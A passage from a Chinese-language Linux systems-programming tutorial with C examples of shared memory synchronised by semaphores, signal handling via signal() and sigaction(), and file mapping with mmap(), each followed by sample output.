#include<stdlib.h>
#include<unistd.h>
#define SHM_KEY 0x12345
struct shmseg {
int cntr;
int write_complete;
int read_complete;
};
int main(int argc, char *argv[]) {
int shmid, numtimes;
struct shmseg *shmp;
int total_count;
int cntr;
int sleep_time;
if (argc != 2)
total_count = 10000;
else {
total_count = atoi(argv[1]);
if (total_count < 10000)
total_count = 10000;
}
shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
if (shmid == -1) {
perror("Shared memory");
return 1;
}
// Attach to the segment to get a pointer to it.
shmp = shmat(shmid, NULL, 0);
if (shmp == (void *) -1) {
perror("Shared memory attach");
return 1;
}
/* Read the shared memory cntr and print it on standard output */
while (shmp->write_complete != 1) {
if (shmp->cntr == -1) {
perror("read");
return 1;
}
sleep(3);
}
printf("Reading Process: Shared Memory: Counter is %d\n", shmp->cntr);
printf("Reading Process: Reading Done, Detaching Shared Memory\n");
shmp->read_complete = 1;
if (shmdt(shmp) == -1) {
perror("shmdt");
return 1;
}
printf("Reading Process: Complete\n");
return 0;
}
編譯和執行步驟
Reading Process: Shared Memory: Counter is 11000 Reading Process: Reading Done, Detaching Shared Memory Reading Process: Complete
如果您觀察上述輸出,計數器應該為 20000,但是,由於在一個程序任務完成之前,另一個程序也正在並行處理,因此計數器值並不像預期的那樣。輸出會因系統而異,並且每次執行也會有所不同。為了確保兩個程序在完成一個任務後執行任務,應該使用同步機制來實現。
現在,讓我們使用訊號量檢查相同的應用程式。
注意 - 讀取程式保持不變。
/* Filename: shm_write_cntr_with_sem.c */
#include<stdio.h>
#include<sys/types.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/sem.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
#define SHM_KEY 0x12345
#define SEM_KEY 0x54321
#define MAX_TRIES 20
struct shmseg {
int cntr;
int write_complete;
int read_complete;
};
void shared_memory_cntr_increment(int, struct shmseg*, int);
void remove_semaphore();
int main(int argc, char *argv[]) {
int shmid;
struct shmseg *shmp;
char *bufptr;
int total_count;
int sleep_time;
pid_t pid;
if (argc != 2)
total_count = 10000;
else {
total_count = atoi(argv[1]);
if (total_count < 10000)
total_count = 10000;
}
printf("Total Count is %d\n", total_count);
shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
if (shmid == -1) {
perror("Shared memory");
return 1;
}
// Attach to the segment to get a pointer to it.
shmp = shmat(shmid, NULL, 0);
if (shmp == (void *) -1) {
perror("Shared memory attach: ");
return 1;
}
shmp->cntr = 0;
pid = fork();
/* Parent Process - Writing Once */
if (pid > 0) {
shared_memory_cntr_increment(pid, shmp, total_count);
} else if (pid == 0) {
shared_memory_cntr_increment(pid, shmp, total_count);
return 0;
} else {
perror("Fork Failure\n");
return 1;
}
while (shmp->read_complete != 1)
sleep(1);
if (shmdt(shmp) == -1) {
perror("shmdt");
return 1;
}
if (shmctl(shmid, IPC_RMID, 0) == -1) {
perror("shmctl");
return 1;
}
printf("Writing Process: Complete\n");
remove_semaphore();
return 0;
}
/* Increment the counter of shared memory by total_count in steps of 1 */
void shared_memory_cntr_increment(int pid, struct shmseg *shmp, int total_count) {
int cntr;
int numtimes;
int sleep_time;
int semid;
struct sembuf sem_buf;
struct semid_ds buf;
int tries;
int retval;
semid = semget(SEM_KEY, 1, IPC_CREAT | IPC_EXCL | 0666);
//printf("errno is %d and semid is %d\n", errno, semid);
/* Got the semaphore */
if (semid >= 0) {
printf("First Process\n");
sem_buf.sem_op = 1;
sem_buf.sem_flg = 0;
sem_buf.sem_num = 0;
retval = semop(semid, &sem_buf, 1);
if (retval == -1) {
perror("Semaphore Operation: ");
return;
}
} else if (errno == EEXIST) { // Already other process got it
int ready = 0;
printf("Second Process\n");
semid = semget(SEM_KEY, 1, 0);
if (semid < 0) {
perror("Semaphore GET: ");
return;
}
/* Waiting for the resource */
sem_buf.sem_num = 0;
sem_buf.sem_op = 0;
sem_buf.sem_flg = SEM_UNDO;
retval = semop(semid, &sem_buf, 1);
if (retval == -1) {
perror("Semaphore Locked: ");
return;
}
}
sem_buf.sem_num = 0;
sem_buf.sem_op = -1; /* Allocating the resources */
sem_buf.sem_flg = SEM_UNDO;
retval = semop(semid, &sem_buf, 1);
if (retval == -1) {
perror("Semaphore Locked: ");
return;
}
cntr = shmp->cntr;
shmp->write_complete = 0;
if (pid == 0)
printf("SHM_WRITE: CHILD: Now writing\n");
else if (pid > 0)
printf("SHM_WRITE: PARENT: Now writing\n");
//printf("SHM_CNTR is %d\n", shmp->cntr);
/* Increment the counter in shared memory by total_count in steps of 1 */
for (numtimes = 0; numtimes < total_count; numtimes++) {
cntr += 1;
shmp->cntr = cntr;
/* Sleeping for a second for every thousand */
sleep_time = cntr % 1000;
if (sleep_time == 0)
sleep(1);
}
shmp->write_complete = 1;
sem_buf.sem_op = 1; /* Releasing the resource */
retval = semop(semid, &sem_buf, 1);
if (retval == -1) {
perror("Semaphore Locked\n");
return;
}
if (pid == 0)
printf("SHM_WRITE: CHILD: Writing Done\n");
else if (pid > 0)
printf("SHM_WRITE: PARENT: Writing Done\n");
return;
}
void remove_semaphore() {
int semid;
int retval;
semid = semget(SEM_KEY, 1, 0);
if (semid < 0) {
perror("Remove Semaphore: Semaphore GET: ");
return;
}
retval = semctl(semid, 0, IPC_RMID);
if (retval == -1) {
perror("Remove Semaphore: Semaphore CTL: ");
return;
}
return;
}
編譯和執行步驟
Total Count is 10000 First Process SHM_WRITE: PARENT: Now writing Second Process SHM_WRITE: PARENT: Writing Done SHM_WRITE: CHILD: Now writing SHM_WRITE: CHILD: Writing Done Writing Process: Complete
現在,我們將透過讀取過程檢查計數器值。
執行步驟
Reading Process: Shared Memory: Counter is 20000 Reading Process: Reading Done, Detaching Shared Memory Reading Process: Complete
程序間通訊 - 訊號
訊號是傳送到程序的通知,指示事件的發生。訊號也稱為軟體中斷,其發生不可預測,因此也稱為非同步事件。
訊號可以用數字或名稱指定,通常訊號名稱以 SIG 開頭。可以使用命令 kill –l(l 表示列出訊號名稱)檢查可用的訊號,如下所示:
每當發出訊號(無論是程式生成的還是系統生成的訊號),都會執行預設操作。如果您不想執行預設操作,而是希望在收到訊號時執行自己的操作,該怎麼辦?對於所有訊號,這是否可能?是的,可以處理訊號,但並非所有訊號都可以處理。如果您想忽略訊號,這是否可能?是的,可以忽略訊號。忽略訊號意味著既不執行預設操作也不處理訊號。可以忽略或處理幾乎所有訊號。無法忽略或處理/捕獲的訊號是 SIGSTOP 和 SIGKILL。
總之,對訊號執行的操作如下:
- 預設操作
- 處理訊號
- 忽略訊號
如上所述,可以透過更改預設操作的執行來處理訊號。訊號處理可以透過兩種方式之一完成,即透過系統呼叫 signal() 和 sigaction()。
#include <signal.h> typedef void (*sighandler_t) (int); sighandler_t signal(int signum, sighandler_t handler);
系統呼叫 signal() 將在生成 signum 中提到的訊號時呼叫註冊的處理程式。處理程式可以是 SIG_IGN(忽略訊號)、SIG_DFL(將訊號重置為預設機制)或使用者定義的訊號處理程式或函式地址之一。
如果成功,此係統呼叫將返回一個函式的地址,該函式接受一個整數引數並且沒有返回值。如果出錯,此呼叫將返回 SIG_ERR。
儘管使用 signal() 可以呼叫使用者註冊的相應訊號處理程式,但無法進行微調,例如遮蔽應阻塞的訊號、修改訊號的行為和其他功能。這些功能可以使用 sigaction() 系統呼叫來實現。
#include <signal.h> int sigaction(int signum, const struct sigaction *act, struct sigaction *oldact)
此係統呼叫用於檢查或更改訊號操作。如果 act 不為空,則從 act 中安裝訊號 signum 的新操作。如果 oldact 不為空,則將先前的操作儲存到 oldact 中。
sigaction 結構包含以下欄位:
欄位 1 - 在 sa_handler 或 sa_sigaction 中提到的處理程式。
void (*sa_handler)(int); void (*sa_sigaction)(int, siginfo_t *, void *);
sa_handler 的處理程式指定根據 signum 執行的操作,其中 SIG_DFL 表示預設操作,SIG_IGN 表示忽略訊號,或者指向訊號處理函式的指標。
sa_sigaction 的處理程式將訊號編號作為第一個引數,指向 siginfo_t 結構的指標作為第二個引數,以及指向使用者上下文的指標(有關詳細資訊,請檢查 getcontext() 或 setcontext())作為第三個引數。
結構 siginfo_t 包含訊號資訊,例如要傳遞的訊號編號、訊號值、程序 ID、傳送程序的真實使用者 ID 等。
欄位 2 - 要阻塞的訊號集。
int sa_mask;
此變數指定在執行訊號處理程式期間應阻塞的訊號掩碼。
欄位 3 - 特殊標誌。
int sa_flags;
此欄位指定一組標誌,用於修改訊號的行為。
欄位 4 − 恢復處理程式。
void (*sa_restorer) (void);
此係統呼叫在成功時返回 0,失敗時返回 -1。
讓我們考慮一些示例程式。
首先,讓我們從一個生成異常的示例程式開始。在此程式中,我們嘗試執行除以零運算,這會導致系統生成異常。
/* signal_fpe.c */
#include<stdio.h>
int main() {
int result;
int v1, v2;
v1 = 121;
v2 = 0;
result = v1/v2;
printf("Result of Divide by Zero is %d\n", result);
return 0;
}
編譯和執行步驟
Floating point exception (core dumped)
因此,當我們嘗試執行算術運算時,系統生成了一個帶有核心轉儲的浮點異常,這是訊號的預設操作。
現在,讓我們修改程式碼以使用 signal() 系統呼叫處理此特定訊號。
/* signal_fpe_handler.c */
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>
void handler_dividebyzero(int signum);
int main() {
int result;
int v1, v2;
void (*sigHandlerReturn)(int);
sigHandlerReturn = signal(SIGFPE, handler_dividebyzero);
if (sigHandlerReturn == SIG_ERR) {
perror("Signal Error: ");
return 1;
}
v1 = 121;
v2 = 0;
result = v1/v2;
printf("Result of Divide by Zero is %d\n", result);
return 0;
}
void handler_dividebyzero(int signum) {
if (signum == SIGFPE) {
printf("Received SIGFPE, Divide by Zero Exception\n");
exit (0);
}
else
printf("Received %d Signal\n", signum);
return;
}
編譯和執行步驟
Received SIGFPE, Divide by Zero Exception
如上所述,訊號由系統生成(在執行某些操作時,例如除以零等),或者使用者也可以以程式設計方式生成訊號。如果要以程式設計方式生成訊號,請使用庫函式 raise()。
現在,讓我們再看一個程式來演示如何處理和忽略訊號。
假設我們使用 raise() 發出了訊號,然後會發生什麼?發出訊號後,當前程序的執行將停止。那麼停止的程序會發生什麼?可能有兩種情況:第一,在需要時繼續執行。第二,終止(使用 kill 命令)程序。
要繼續停止程序的執行,請向該特定程序傳送 SIGCONT。您還可以發出 fg(前臺)或 bg(後臺)命令來繼續執行。此處,這些命令僅重新啟動最後一個程序的執行。如果有多個程序停止,則僅恢復最後一個程序。如果要恢復先前停止的程序,則需要使用作業號恢復作業(使用 fg/bg)。
以下程式用於使用 raise() 函式發出訊號 SIGSTOP。訊號 SIGSTOP 也可以由使用者按下 CTRL + Z(Control + Z)鍵生成。發出此訊號後,程式將停止執行。傳送訊號 (SIGCONT) 以繼續執行。
在以下示例中,我們使用命令 fg 恢復停止的程序。
/* signal_raising.c */
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>
int main() {
printf("Testing SIGSTOP\n");
raise(SIGSTOP);
return 0;
}
編譯和執行步驟
Testing SIGSTOP [1]+ Stopped ./a.out ./a.out
現在,增強以前的程式,透過從另一個終端發出 SIGCONT 來繼續停止程序的執行。
/* signal_stop_continue.c */
#include<stdio.h>
#include<signal.h>
#include <sys/types.h>
#include <unistd.h>
void handler_sigtstp(int signum);
int main() {
pid_t pid;
printf("Testing SIGSTOP\n");
pid = getpid();
printf("Open Another Terminal and issue following command\n");
printf("kill -SIGCONT %d or kill -CONT %d or kill -18 %d\n", pid, pid, pid);
raise(SIGSTOP);
printf("Received signal SIGCONT\n");
return 0;
}
編譯和執行步驟
Testing SIGSTOP Open Another Terminal and issue following command kill -SIGCONT 30379 or kill -CONT 30379 or kill -18 30379 [1]+ Stopped ./a.out Received signal SIGCONT [1]+ Done ./a.out
在另一個終端
kill -SIGCONT 30379
到目前為止,我們已經看到了處理系統生成的訊號的程式。現在,讓我們看看透過程式生成的訊號(使用 raise() 函式或透過 kill 命令)。此程式生成訊號 SIGTSTP(終端停止),其預設操作是停止執行。但是,由於我們現在正在處理訊號而不是預設操作,因此它將進入已定義的處理程式。在這種情況下,我們只是列印訊息並退出。
/* signal_raising_handling.c */
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>
void handler_sigtstp(int signum);
int main() {
void (*sigHandlerReturn)(int);
sigHandlerReturn = signal(SIGTSTP, handler_sigtstp);
if (sigHandlerReturn == SIG_ERR) {
perror("Signal Error: ");
return 1;
}
printf("Testing SIGTSTP\n");
raise(SIGTSTP);
return 0;
}
void handler_sigtstp(int signum) {
if (signum == SIGTSTP) {
printf("Received SIGTSTP\n");
exit(0);
}
else
printf("Received %d Signal\n", signum);
return;
}
編譯和執行步驟
Testing SIGTSTP Received SIGTSTP
我們已經看到了執行預設操作或處理訊號的例項。現在,是時候忽略訊號了。在這裡,在這個示例程式中,我們正在註冊訊號 SIGTSTP 以透過 SIG_IGN 忽略,然後我們正在發出訊號 SIGTSTP(終端停止)。當生成訊號 SIGTSTP 時,它將被忽略。
/* signal_raising_ignoring.c */
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>
void handler_sigtstp(int signum);
int main() {
void (*sigHandlerReturn)(int);
sigHandlerReturn = signal(SIGTSTP, SIG_IGN);
if (sigHandlerReturn == SIG_ERR) {
perror("Signal Error: ");
return 1;
}
printf("Testing SIGTSTP\n");
raise(SIGTSTP);
printf("Signal SIGTSTP is ignored\n");
return 0;
}
編譯和執行步驟
Testing SIGTSTP Signal SIGTSTP is ignored
到目前為止,我們已經觀察到我們有一個訊號處理程式來處理一個訊號。我們能否使用一個處理程式來處理多個訊號?答案是肯定的。讓我們用一個程式來考慮這一點。
以下程式執行以下操作:
步驟 1 − 註冊一個處理程式 (handleSignals) 來捕獲或處理訊號 SIGINT (CTRL + C) 或 SIGQUIT (CTRL + \)
步驟 2 − 如果使用者生成訊號 SIGQUIT(透過 kill 命令或鍵盤控制使用 CTRL + \),處理程式只需列印訊息並返回。
步驟 3 − 如果使用者第一次生成訊號 SIGINT(透過 kill 命令或鍵盤控制使用 CTRL + C),則它會將訊號修改為從下次開始執行預設操作(使用 SIG_DFL)。
步驟 4 − 如果使用者第二次生成訊號 SIGINT,它將執行預設操作,即終止程式。
/* Filename: sigHandler.c */
#include<stdio.h>
#include<unistd.h>
#include<signal.h>
void handleSignals(int signum);
int main(void) {
void (*sigHandlerInterrupt)(int);
void (*sigHandlerQuit)(int);
void (*sigHandlerReturn)(int);
sigHandlerInterrupt = sigHandlerQuit = handleSignals;
sigHandlerReturn = signal(SIGINT, sigHandlerInterrupt);
if (sigHandlerReturn == SIG_ERR) {
perror("signal error: ");
return 1;
}
sigHandlerReturn = signal(SIGQUIT, sigHandlerQuit);
if (sigHandlerReturn == SIG_ERR) {
perror("signal error: ");
return 1;
}
while (1) {
printf("\nTo terminate this program, perform the following: \n");
printf("1. Open another terminal\n");
printf("2. Issue command: kill %d or issue CTRL+C 2 times (second time it terminates)\n", getpid());
sleep(10);
}
return 0;
}
void handleSignals(int signum) {
switch(signum) {
case SIGINT:
printf("\nYou pressed CTRL+C \n");
printf("Now reverting SIGINT signal to default action\n");
signal(SIGINT, SIG_DFL);
break;
case SIGQUIT:
printf("\nYou pressed CTRL+\\ \n");
break;
default:
printf("\nReceived signal number %d\n", signum);
break;
}
return;
}
編譯和執行步驟
To terminate this program, perform the following: 1. Open another terminal 2. Issue command: kill 74 or issue CTRL+C 2 times (second time it terminates) ^C You pressed CTRL+C Now reverting SIGINT signal to default action To terminate this program, perform the following: 1. Open another terminal 2. Issue command: kill 74 or issue CTRL+C 2 times (second time it terminates) ^\You pressed CTRL+\ To terminate this program, perform the following: 1. Open another terminal 2. Issue command: kill 120 Terminated
另一個終端
kill 71
第二種方法
To terminate this program, perform the following: 1. Open another terminal 2. Issue command: kill 71 or issue CTRL+C 2 times (second time it terminates) ^C You pressed CTRL+C Now reverting SIGINT signal to default action To terminate this program, perform the following: 1. Open another terminal 2. Issue command: kill 71 or issue CTRL+C 2 times (second time it terminates) ^C
我們知道,要處理訊號,我們有兩個系統呼叫,即 signal() 或 sigaction()。到目前為止,我們已經看到了 signal() 系統呼叫,現在是時候使用 sigaction() 系統呼叫了。讓我們修改上述程式以使用 sigaction() 執行,如下所示:
/* Filename: sigHandlerSigAction.c */
#include<stdio.h>
#include<unistd.h>
#include<signal.h>
void handleSignals(int signum);
int main(void) {
void (*sigHandlerReturn)(int);
struct sigaction mysigaction;
mysigaction.sa_handler = handleSignals;
sigemptyset(&mysigaction.sa_mask);
mysigaction.sa_flags = 0;
sigaction(SIGINT, &mysigaction, NULL);
if (mysigaction.sa_handler == SIG_ERR) {
perror("signal error: ");
return 1;
}
mysigaction.sa_handler = handleSignals;
sigemptyset(&mysigaction.sa_mask);
mysigaction.sa_flags = 0;
sigaction(SIGQUIT, &mysigaction, NULL);
if (mysigaction.sa_handler == SIG_ERR) {
perror("signal error: ");
return 1;
}
while (-1) {
printf("\nTo terminate this program, perform either of the following: \n");
printf("1. Open another terminal and issue command: kill %d\n", getpid());
printf("2. Issue CTRL+C 2 times (second time it terminates)\n");
sleep(10);
}
return 0;
}
void handleSignals(int signum) {
switch(signum) {
case SIGINT:
printf("\nYou have entered CTRL+C \n");
printf("Now reverting SIGINT signal to perform default action\n");
signal(SIGINT, SIG_DFL);
break;
case SIGQUIT:
printf("\nYou have entered CTRL+\\ \n");
break;
default:
printf("\nReceived signal number %d\n", signum);
break;
}
return;
}
讓我們看看編譯和執行過程。在執行過程中,讓我們看看兩次發出 CTRL+C,您可以針對此程式嘗試其餘的檢查/方法(如上所述)。
編譯和執行步驟
To terminate this program, perform either of the following: 1. Open another terminal and issue command: kill 3199 2. Issue CTRL+C 2 times (second time it terminates) ^C You have entered CTRL+C Now reverting SIGINT signal to perform default action To terminate this program, perform either of the following: 1. Open another terminal and issue command: kill 3199 2. Issue CTRL+C 2 times (second time it terminates) ^C
記憶體對映
mmap() 系統呼叫提供呼叫程序虛擬地址空間中的對映,該對映將檔案或裝置對映到記憶體中。這有兩種型別:
檔案對映或檔案支援對映 − 此對映將程序虛擬記憶體的區域對映到檔案。這意味著讀取或寫入這些記憶體區域會導致讀取或寫入檔案。這是預設的對映型別。
匿名對映 − 此對映對映程序虛擬記憶體的區域,而不受任何檔案的支援。內容初始化為零。此對映類似於動態記憶體分配 (malloc()),並在某些 malloc() 實現中用於某些分配。
一個程序對映中的記憶體可能與其他程序中的對映共享。這可以透過兩種方式完成:
當兩個程序對映檔案的同一區域時,它們共享相同的物理記憶體頁。
如果建立子程序,它將繼承父程序的對映,並且這些對映引用與父程序相同的物理記憶體頁。在子程序中對資料進行任何更改後,將為子程序建立不同的頁面。
當兩個或多個程序共享相同的頁面時,每個程序都可以根據對映型別檢視其他程序對頁面內容所做的更改。對映型別可以是私有的或共享的:
私有對映 (MAP_PRIVATE) − 對此對映內容的修改對其他程序不可見,並且對映不會傳遞到基礎檔案。
共享對映 (MAP_SHARED) − 對此對映內容的修改對其他程序可見,並且對映傳遞到基礎檔案。
#include <sys/mman.h> void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
上述系統呼叫在成功時返回對映的起始地址,在錯誤時返回 MAP_FAILED。
虛擬地址 addr 可以是使用者指定的,也可以由核心生成(在將 addr 作為 NULL 傳遞時)。欄位 length 指示需要以位元組為單位的對映大小。欄位 prot 指示記憶體保護值,例如 PROT_NONE、PROT_READ、PROT_WRITE、PROT_EXEC,分別用於可能無法訪問、讀取、寫入或執行的區域。此值可以是單個 (PROT_NONE),也可以與任何三個標誌(最後三個)進行 OR 運算。欄位 flags 指示對映型別,可以是 MAP_PRIVATE 或 MAP_SHARED。欄位“fd”指示標識要對映的檔案的檔案描述符,欄位“offset”表示檔案的起始點,如果需要對映整個檔案,則偏移量應為零。
#include <sys/mman.h> int munmap(void *addr, size_t length);
上述系統呼叫在成功時返回 0,在錯誤時返回 -1。
系統呼叫 munmap 執行已對映記憶體區域的取消對映。欄位 addr 指示對映的起始地址,欄位 length 指示要取消對映的對映的大小(以位元組為單位)。通常,對映和取消對映將針對整個對映區域。如果必須不同,則應縮小或分成兩部分。如果 addr 沒有任何對映,則此呼叫將不起作用,並且呼叫返回 0(成功)。
讓我們考慮一個示例:
步驟 1 − 將字母數字字元寫入檔案,如下所示:
| 0 | 1 | 2 | … | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | … | 59 | 60 | 61 |
| A | B | C | … | Z | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | A | b | c | … | x | y | z |
步驟 2 − 使用 mmap() 系統呼叫將檔案內容對映到記憶體中。這將在對映到記憶體後返回起始地址。
步驟 3 − 使用陣列表示法訪問檔案內容(也可以使用指標表示法訪問),因為不讀取昂貴的 read() 系統呼叫。使用記憶體對映,避免使用者空間、核心空間緩衝區和緩衝區快取之間多次複製。
步驟 4 − 重複讀取檔案內容,直到使用者輸入“-1”(表示訪問結束)。
步驟 5 − 執行清理活動,即取消對映已對映的記憶體區域 (munmap())、關閉檔案和刪除檔案。
/* Filename: mmap_test.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/mman.h>
void write_mmap_sample_data();
int main() {
struct stat mmapstat;
char *data;
int minbyteindex;
int maxbyteindex;
int offset;
int fd;
int unmapstatus;
write_mmap_sample_data();
if (stat("MMAP_DATA.txt", &mmapstat) == -1) {
perror("stat failure");
return 1;
}
if ((fd = open("MMAP_DATA.txt", O_RDONLY)) == -1) {
perror("open failure");
return 1;
}
data = mmap((caddr_t)0, mmapstat.st_size, PROT_READ, MAP_SHARED, fd, 0);
if (data == (caddr_t)(-1)) {
perror("mmap failure");
return 1;
}
minbyteindex = 0;
maxbyteindex = mmapstat.st_size - 1;
do {
printf("Enter -1 to quit or ");
printf("enter a number between %d and %d: ", minbyteindex, maxbyteindex);
scanf("%d",&offset);
if ( (offset >= 0) && (offset <= maxbyteindex) )
printf("Received char at %d is %c\n", offset, data[offset]);
else if (offset != -1)
printf("Received invalid index %d\n", offset);
} while (offset != -1);
unmapstatus = munmap(data, mmapstat.st_size);
if (unmapstatus == -1) {
perror("munmap failure");
return 1;
}
close(fd);
system("rm -f MMAP_DATA.txt");
return 0;
}
void write_mmap_sample_data() {
int fd;
char ch;
struct stat textfilestat;
fd = open("MMAP_DATA.txt", O_CREAT|O_TRUNC|O_WRONLY, 0666);
if (fd == -1) {
perror("File open error ");
return;
}
// Write A to Z
ch = 'A';
while (ch <= 'Z') {
write(fd, &ch, sizeof(ch));
ch++;
}
// Write 0 to 9
ch = '0';
while (ch <= '9') {
write(fd, &ch, sizeof(ch));
ch++;
}
// Write a to z
ch = 'a';
while (ch <= 'z') {
write(fd, &ch, sizeof(ch));
ch++;
}
close(fd);
return;
}
輸出
Enter -1 to quit or enter a number between 0 and 61: 3 Received char at 3 is D Enter -1 to quit or enter a number between 0 and 61: 28 Received char at 28 is 2 Enter -1 to quit or enter a number between 0 and 61: 38 Received char at 38 is c Enter -1 to quit or enter a number between 0 and 61: 59 Received char at 59 is x Enter -1 to quit or enter a number between 0 and 61: 65 Received invalid index 65 Enter -1 to quit or enter a number between 0 and 61: -99 Received invalid index -99 Enter -1 to quit or enter a number between 0 and 61: -1